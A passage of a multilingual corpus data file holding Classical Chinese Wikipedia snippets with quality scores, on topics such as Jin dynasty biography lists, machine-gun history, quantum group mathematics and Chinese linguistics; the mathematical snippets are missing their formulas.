後諸國亦多為通用機槍,漸而少重機槍之用矣。","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第七十 王彌 張昌 陳敏 王如 杜曾 杜弢 王機 祖約 蘇峻 孫恩 盧循 譙縱","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.293,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"機槍者,重物也,飛機不得載之以為攻具; 一人之力,不能攜運。 後斯考博由是而為輕機槍,即麥德森輕機槍。 先是,馬克沁考於加特林而後得馬克沁機槍,射發遠而速,亦重。 麥德森實自於步槍,先成於半自動步槍,頂置彈匣,給彈以機械之力,亦使重力,利於續發,後漸而為輕機槍。 其出於步槍,故射發不及馬克沁,然輕,其重或半於重機槍,故利攜用。 是以輕機槍亦遍見於戰場。機槍重者利射殺,而輕者便機動。 後德國制為通用機槍,使兼而得之。 希特勒嘗欲為重機槍,然德國敗於一戰,立約,不為重兵器。 希特勒欲欺英法而私為之,乃制德萊塞輕機槍而改之,即MG13機槍,其力漸近於重機槍,而狀類輕機槍,人不之覺。 後毛瑟公司以之為MG34、42,攜以隨處用之如輕機槍; 架而用之,射發類重機槍,易傷人,故稱通用。 德國常以之阻盟軍,射程類盟軍之用,而其速遠過之,故冠於當時。 後諸國亦多為通用機槍,漸而少重機槍之用矣。","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.962,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第五十一 王遜 蔡豹 羊鑒 劉胤 桓宣 朱伺 毛寶 劉遐 鄧岳 朱序","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.306,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.886,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十三 外戚 羊琇 王恂 楊文宗 羊玄之 虞豫 庾琛 杜乂 褚裒 何准 王濛 王遐 王蘊 褚爽","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.949,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"八月,潛行返渝。 路殺一婦人于渝之錢莊。 當是時,兩男欲往執之,亦為克華所擊。 華登輿而走,及至歌樂山,未殺車夫而暴其蹤。 途遇盤查,一捕快力搏克華。 快不敵,亡,克華亦不知所往。 既知其蹤,上令數十萬余兵卒圍于渝之大川。 五日不獲,得其遺矢。 圍之愈急,克華不得脫,斃于歌樂山下,年四十有二。 亦有傳克華已遁,然無有知其詳者。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"後二十年,馬克沁至歐洲,而為馬克沁機槍。 初,馬克沁爭於愛迪生,不勝,遂去其國。 及至歐洲,欲複富貴,然不知所為。 謂之曰:歐洲多戰事,可為攻守之具,以給其人,使易相殺戮。 由是寤,始欲制為槍械。 當是之時,機槍遍效於戰場,皆加特林之類也,然必後置一轉杆,握而搖之,不便也。 馬克沁嘗於軍中觀步槍之用,子彈前發,槍座必後擊兵士於其肩,乃喜得之。 遂借使後擊之力,以褪餘殼而續用子彈之未發者,火力亦不斷,又皆槍械之自為,故便也,即為馬克沁機槍。 後英國以之破祖魯人; 俄羅斯嘗與日本持於滿州,皆其力焉。加特林、馬克沁,世稱重機槍。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"仁傑,儀鳳中為大理丞,周歲斷滯獄一萬七千人,無冤訴者。時武衛大將軍權 善才坐誤斫昭陵柏樹,仁傑奏罪當免職。高宗令即誅之,仁傑又奏罪不當死。帝作 色曰:「善才斫陵上樹,是使我不孝,必須殺之。」左右矚仁傑令出,仁傑曰: 「臣聞逆龍鱗,忤人主,自古以為難,臣愚以為不然。居桀、紂時則難,堯、舜時 則易。臣今幸逢堯、舜,不懼比千之誅。昔漢文時有盜高廟玉環,張釋之廷諍,罪 止棄市。魏文將徙其人,辛毗引裾而諫,亦見納用。且明主可以理奪,忠臣不可以 威懼。今陛下不納臣言,瞑目之後,羞見釋之、辛毗於地下。陛下作法,懸之象魏, 徒流死罪,俱有等差。豈有犯非極刑,即令賜死?法既無常,則萬姓何所措其手足? 陛下必欲變法,請從今日為始。古人雲:『假使盜長陵一抔土,陛下何以加之?』 今陛下以昭陵一株柏殺一將軍,千載之後,謂陛下為何主?此臣所以不敢奉製殺善 才,陷陛下於不道。」帝意稍解,善才因而免死。居數日,授仁傑侍禦史。時司農 卿韋機兼領將作、少府二司,高宗以恭陵玄宮狹小,不容送終之具,遣機續成其功。 機於埏之左右為便房四所,又造宿羽、高山、上陽等宮,莫不壯麗。仁傑奏其太過, 機竟坐免官。左司郎中王本立恃寵用事,朝廷懾懼,仁傑奏之,請付法寺,高宗特 原之。仁傑奏曰:「國家雖乏英才,豈少本立之類,陛下何惜罪人而虧王法?必欲 曲赦本立,請棄臣於無人之境,為忠貞將來之誡。」本立竟得罪,由是朝廷肅然。","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.89,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第五十二 陳壽 王長文 虞溥 司馬彪 王隱 虞預 孫盛 乾寶 鄧粲 謝沈 習鑿齒 徐廣","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第五十九 忠義 嵇紹從子嵇含 王豹 劉沈 麹允 焦嵩 賈渾 王育 韋忠 辛勉 劉敏元 周該 桓雄 韓階 周崎 易雄 樂道融 虞悝 沈勁 吉挹 王諒 宋矩 車濟 丁穆 辛恭靖 羅企生 張禕","num_words":28,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.292,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"此無窮級數 R 可作用於 兩不可約最高權表示(或兩最低權表示)之張量積。更準確地講,若 v 為權- - 向量,w為權- -向量,則 ,而最高權(或最低權)之性使另一因式於 之作用成有限和。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.289,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第十五 劉毅 程衛 和嶠 武陔 任愷 崔洪 郭奕 侯史光 何攀","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.956,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十五 藝術 陳訓 戴洋 韓友 淳於智 步熊 杜不愆 嚴卿 隗炤 卜珝 鮑靚 吳猛 幸靈 佛圖澄 麻襦 單道開 黃泓 索紞 孟欽 王嘉 僧涉 郭黁 鳩摩羅什 曇霍 台產","num_words":26,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"柬埔寨國家銀行(英文曰:National Bank of Cambodia,法文曰:la Banque Nationale du Cambodge),一九五四年創於柬埔寨金邊,柬國人皆妮稱之「紅銀行(Banque Rouge)」,因其音易讀易記,亦含「勇敢無畏」之意,甚合國情當年柬埔寨國家銀行發展歷史 。今分行二十有六,金邊與全國各城皆有之各分行位置均示於此頁中。","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.707,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"嚴格講, 非半三角霍普夫代數 ,唯彼有一無窮級數R可假作R-矩陣。 此無窮級數為 、 與嘉當生成元 之表示式,其中 形式地當作 。此式可分成兩因式之積: 與 一無窮和,其中 嘉當子代數之對偶空間之基,而 為其對偶基, 為 +1 或 -1。","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十七 四夷 東夷 夫余國 馬韓 辰韓 肅慎氏 倭人 裨離等十國;西戎 吐谷渾 焉耆國 龜茲國 大宛國 康居國 大秦國;南蠻 林邑 扶南;北狄 匈奴","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"初,與母居於渝之井口。 少任俠,嘗與夥伴釣于村頭,無柴以為烹。 夥伴欲竊之于鄰,克華遂取柴于自家,終不肯竊鄰人之一禾也。 時眾人皆以賭博為樂,唯克華棄之。 其言寡,好讀書習武。 身短而力足,嘗雙手托舉巨石。 然克華未嘗以武犯鄉人,鄉人亦勿犯華。 克華少時立誓行俠義之事,時人莫知其能。既無錢以讀,乃與人傭工江上,後失其生計。 嘗駕車于渝,不得其志。 又欲從軍,終不得行。 家赤貧,遂私售軍械以養家。 至西元二〇〇五年,以此獲罪。 克華甚為怨恨,方起劫財之心。","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"九年,渡荊水至湘。 居其地兩載,于鬧市中殺傷者三。 湘人甚懼之。 時小兒聞其名,晝夜不敢啼哭。 一二年,克華北上南京,隨一商賈至和燕錢莊。 賈令下人持幣出,克華急擊之。 盡取其錢財,緩步而行。 金陵郡吏盡遣捕快,畫影圖形,挨戶搜查。 又閉四方城門,使虎賁軍于途追捕。 數日不可得。 既不知其人,又恐見責,乃舉曾犯開貴以代之。 國人聞之,多恨其酷而惜其勇略。 克華始揚名于外。","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.957,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十二 文苑 應貞 成公綏 左思 趙至 鄒湛 棗據 褚陶 王沈 張翰 庾闡 曹毗 李充 袁宏 伏滔 羅含 顧愷之 郭澄之","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"明萬曆十年,英格蘭傳教士史提芬斯(Thomas Stephens)書其兄,曰孔卡尼文,希臘文與拉丁文之相似。萬曆十二年,義大利商人沙實提(Fillippo Sassetti)亦書曰梵文與義大利文相似。惜是時未有翰林眾人深究之。清順治三年,尼德蘭學士范博漢(Marcus Zuerius van Boxhorn)再書歐羅巴諸語言與波斯語之相似,並稱歐羅巴諸語言及波斯語,皆衍自一「斯居泰語」(得名自尖帽塞人,Σκύθης)。此後法蘭西人居杜(Gaston Cœurdoux)與羅刹人羅蒙諾索夫(Михаи́л Васи́льевич Ломоно́сов)皆著書曰印歐諸語言之相似。乾隆五十年,威爾斯裔英格蘭人鍾威廉(Sir William Jones)授業時論及梵文、拉丁文與希臘文之相似,「印歐語言同源」之概念方得入翰林。嘉慶十七年,英格蘭人楊湯馬(Thomas Young)首書「印歐語系」。咸豐元年,德意志人葆樸(Franz Bopp)書成《比較文法》,「印歐語系」一名方得廣為翰林中人所用。","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.612,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十一 儒林 範平 文立 陳邵 虞喜 劉兆 氾毓 徐苗 崔游 範隆 杜夷 董景道 續咸 徐邈 孔衍 範宣 韋謏 範弘之 王歡","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.318,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第三十五 王導(子王悅 王恬 王洽 王協 王劭 王薈 洽子王珣 王珉 劭子王謐)","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.881,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"卷一:天孫氏 舜天王 舜馬順熙王 義本王 英祖王 大成王 英慈王 玉城王 西威王 察度王 武寧王","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"可積表示者, 為一權表示,於其上 and 之作用俱為零冪 (即其中每一 v,存在正整數k使每一 i 有 )。此時,各數 符 ,其中 屬於權格,而 為複數,使得","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.346,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"釋:設「勾」為 a,「股」為 b,「弦」為 c。「勾股相乘」乃 ab ,即朱實二(因朱實乃三角形,面積乃 也)。倍之者,乃 2ab ,即朱實四也。「勾股之差」乃 b-a ,其方者乃 ,黃實也。朱實四及黃實之和,弦實也,即 。是故 ,化簡得 。勾股定理得證矣。","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.388,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"二維共形場論有一無限維之局部共形變換羣。例如,考慮黎曼球面上之共形場論:雖其變換羣由各Moebius 變換組成、同構於PSL(2,C),但其無窮小共形變換則構成無限維之 Witt 代數。 注意:大多共形場論量子化後會出現 共形反常 (又稱 Weyl 反常)。此現象引進一非零之中心荷,因而 Witt 代數須擴展成 維拉所羅代數。","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.94,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第四十九 謝尚 謝安(子謝琰 琰子謝混 安兄謝奕 奕子謝玄 安弟謝萬 萬弟謝石 石兄子謝朗 朗弟子謝邈)","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.685,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"「廌,似山羊,一角,一名神羊,一名解,東北荒中獸也。見 人鬥則觸不直者,聞人論則咋不正者。」古者神人以 廌遺黃帝,帝曰:「何食何處?」曰:「食薦。」「夏宿水澤,冬宿松 柏。」薦,澤草之名。司馬彪曰:「美草也。」崔曰:「甘草也。」王蒼 云:「六畜所食曰薦。」《莊子》亦云:「麋鹿食薦。」故薦從草從 「廌」也。《荊楚歲時記》稱,「屈原以夏至赴湘流,百姓競以」 食祭之,常苦為蛟龍所竊,以五色絲合楝葉縛之,又 以為獬廌。食楝,將以言其志,然則所食又不止薦耳。 說者以為人君刑罰得中,則生於朝廷。主觸不直者, 《說文》亦云:古者決訟,令觸不直,故又名任法。《論衡》曰: 「皋陶欽平任坐」,以明至公,所在任法而不任人也。古 法字作「灋。」�水以言,其平之如水。從廌去者,廌之所 去,法之所取。後灋去廌,豈時不及古,不可常得從而 去之耶?而廌冠之制,則傳於今。《淮南子》曰:「楚文王好 服獬冠,楚國效之,以廌角安冠上。」漢之法冠所謂柱 後惠文者是也。史氏以為楚王嘗獲之,故以為冠,《春 秋傳》所謂南冠者也。秦滅楚,以其君服賜執法近臣 御史服之。《異志》以為獬廌一角,今冠兩角,非象也。然 漢史氏特云法冠,或謂獬廌冠不正決之,則亦不全 取象於廌。若貂若鶡,亦兩植之耳。《太平廣記》曰:「安南有象,能知人曲直。有鬥訟者,行立而齅之,有理者則 過,無理者以鼻捲之,擲空數丈,以牙接而刺之,亦廌 之類。」《論衡》曰:「觟𧣾者,一角之羊也。性知有罪。皋陶」治 獄,其罪疑者,令羊觸之,有罪則觸,無罪則不觸。","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.872,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"即年歸國,入中研院史語所,先探海南方音,後探廣西壯侗語。十九年,與趙元任、羅常培合譯高本漢《中文音韻研究》,翌年著《切韻â的來源》。二十六年,渡美,著《Languages and dialects of China》,納典《The Chinese Year Book》,漢藏分類,後人從之;後歷二年,客於耶魯,歸國,行跡黔蜀滇,著《龍州土語》。三十四年,著《Some Old Chinese Loan Words in the Tai Languages》,以壯泰地支,探上古漢音。三十五年,再渡美,客於哈佛耶魯,翌年著《莫話記略》,人民共和國立,不歸,留於華盛頓大學,歷十年,著《武鳴土語》,後就夏威夷大學,歷五年。著《上古音研究》,一創新說,曾爲時尚。曾訪臺灣,探邵語、阿美語。一九七七年,著《水話研究》,又著《A handbook of comparative Tai》,一探壯泰祖語。","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.944,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第一 后妃上 宣穆張皇后 景懷夏侯皇后 景獻羊皇后 文明王皇后 武元楊皇后 武悼楊皇后 左貴嬪 胡貴嬪 諸葛夫人 惠賈皇后 惠羊皇后 謝夫人 懷王皇太后 元夏侯太妃","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.887,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第五十八 孝友 李密 盛彥 夏方 王裒 許孜 庾袞 孫晷 顏含 劉殷 王延 王談 桑虞 何琦 吳逵","num_words":16,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.308,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"十六世紀蒙古再奉佛,廣譯遍傳佛經, 文字因而普及、定型。此故或以十六、十七世紀之交爲蒙古之文藝復興。此前書畏兀字體之部分缺失,如 n, γ, š (參見下表)之旁點罕置,如 č, ǰ 在字中相混等,又如同一單字而拼法有異等,皆改進之。復多引入藏梵語之內典用語,取代部分故時詞彙。並以便於轉書藏、梵語音故,另造變體字母。字母之改良以阿里嘎里爲其大者。一五八七年,喀喇沁譯師阿尤希固什損益舊字,創阿里嘎里字體(梵:आलिकालि 拉丁字母轉寫: āli-kāli,指元音組與輔音組),此字體可盡書藏、梵語字母,且可書諸蒙古語所無之輔音群。是時部分古語見棄,反之則有黔首方言經人爲仿古而見諸書面。學界謂此時之書面蒙文爲古典蒙文。","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.841,"perplexity_score":500.0,"cluster_detection":1} diff --git a/lzh_Hani/mala_000002_remove.jsonl b/lzh_Hani/mala_000002_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..403fea52a437ecaf8293397e55dd04d984f7cfc9 --- /dev/null +++ b/lzh_Hani/mala_000002_remove.jsonl @@ -0,0 +1,10 @@ +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"每一緊拓樸羣G,存在一 C*-algebra 態射 (其中 為 C*-algebra 張量積 - 與 之代數張量積之完備化),使得每、每 , 有 (其中 ,而 且 )。 亦有一線性、積性態映射 ,使 每 與 有。嚴格講,若 G 非有限羣, 不成一霍普夫代數。然而,吾人可用G之一有限表示以生成 之一 *-子代數,是為一 Hopf *-代數。專言之,若 為之一 -維表示,則每 有,且。然則由 與 生成之 *-代數乃一 Hopf *-代數:其餘單位元為各 所定(其中為Kronecker delta,取值0 或1), 其對映為 ,其單位元為。","num_words":39,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.368,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"北京語言大學(Beijing Language and Culture University、l' Université des Langues et Cultures de Pékin、La Universidad de Lengua y Cultura de Beijing、Пекинский университет языка и культуры、جامعة اللغات والثقافة ببكين)者,略稱北語,華夏之大學也,在京。西元一九六二年,周恩來肇創,是為外國留學生高等預備學校。一九七四年,毛澤東題名北京語言學院。二零零二年,定名北京語言大學。以傳中華文化為己任,桃李遍五洲。哈薩克斯坦大統領卡西姆若馬爾特·託卡耶夫、宰相卡里姆·馬西莫夫、埃塞俄比亞大統領穆拉圖·特肖梅等皆嘗就學於此。訓曰德行言語,敦睦天下。","num_words":26,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.024,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"存在 C*-代數態射 (其中 為 C*-代數張量積 - 與 之代數張量積之完備化)使每 i,j 有 。人稱為餘積;","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.362,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"概念上, 與 於可積模上 、時之作用 常有異。 吾人引進其上之線性映射 與 以使 與 於該模上、 時之作用為正則。 有一由權向量 組成之-基,使 與 於其上、 時之作用為正則。 吾人限制此表示於此基所生成之 -模上, 再於時計算其基向量、, the -子模、 與 之作用。 再者,吾人可擇此基,使 時,每 與 每 互為轉置(are represented by mutual transposes), 而基向量則映射至基向量或 0。","num_words":33,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.33,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十六 列女 羊耽妻辛氏 杜有道妻嚴氏 王渾妻鐘氏 鄭袤妻曹氏 愍懷太子妃王氏 鄭休妻石氏 陶侃母湛氏 賈渾妻宗氏 梁緯妻辛氏 許延妻杜氏 虞潭母孫氏 周顗母李氏 张茂妻陸氏 尹虞二女 荀崧小女荀灌 王凝之妻謝氏 劉臻妻陳氏 皮京妻龍氏 孟昶妻周氏 何無忌母劉氏 劉聰妻劉氏 王廣女 陝婦人 靳康女 韋逞母宋氏 張天錫妾閻氏薛氏 苻堅妾張氏 竇滔妻蘇蕙 苻登妻毛氏 慕容垂妻段氏 段豐妻慕容氏 呂纂妻楊氏 李玄盛後尹氏","num_words":35,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"設為所有 中 於 正則 (regular) 之有理函數所成之整環。(即此類 :存在多項式 使 ,且)。 之一 晶體基為一有序對 ,其中","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.384,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"下舉其隅。茍報次驛及所以弭節,則以普通話言曰:「歡迎乘坐福州地鐵一號線,本次列車終點站福州火車南站,下一站黃山,開左側門。」或時又戒客曰:「列車運行時,請抓緊扶手,不要扶靠車門,謹防夾傷。」次以福州話曰:「本次列車終點站福州火車南站,下蜀站黃山。」蜀,一也。次英語曰:「The terminal station is Fuzhou South Railway Station. Next stop is Huangshan.」","num_words":12,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.502,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"最高權表示尤其重要。最高權模生自單一權向量 v;每一權, v 符 ,而每一 i 有 。 類似地,吾人亦有最低權表示,生成自單一權向量 v,而每一 i 有 。","num_words":11,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.381,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"列傳第六十四 隱逸 孫登 董京 夏統 朱沖 範粲 魯勝 董養 霍原 郭琦 伍朝 魯褒 氾騰 任旭 郭文 龔壯 孟陋 韓績 譙秀 翟湯 郭翻 辛謐 劉驎之 索襲 楊軻 公孫鳳 公孫永 張忠 石垣 宋纖 郭荷 郭瑀 祈嘉 瞿硎先生 謝敷 戴逵 龔玄之 陶淡 陶潛","num_words":40,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.308,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"","collection":"glot500","source":"Wikipedia","original_code":"lzh_Hani","text":"梅花歌卅二首并序 \/ 天平二年正月十三日萃于帥老之宅申宴會也 于時初春令月 氣淑風和梅披鏡前之粉 蘭薫珮後之香 加以 曙嶺移雲 松掛羅而傾盖 夕岫結霧鳥封縠而迷林 庭舞新蝶 空歸故鴈 於是盖天坐地 【促】膝飛觴 忘言一室之裏 開衿煙霞之外 淡然自放 快然自足 若非翰苑何以攄情 詩紀落梅之篇古今夫何異矣 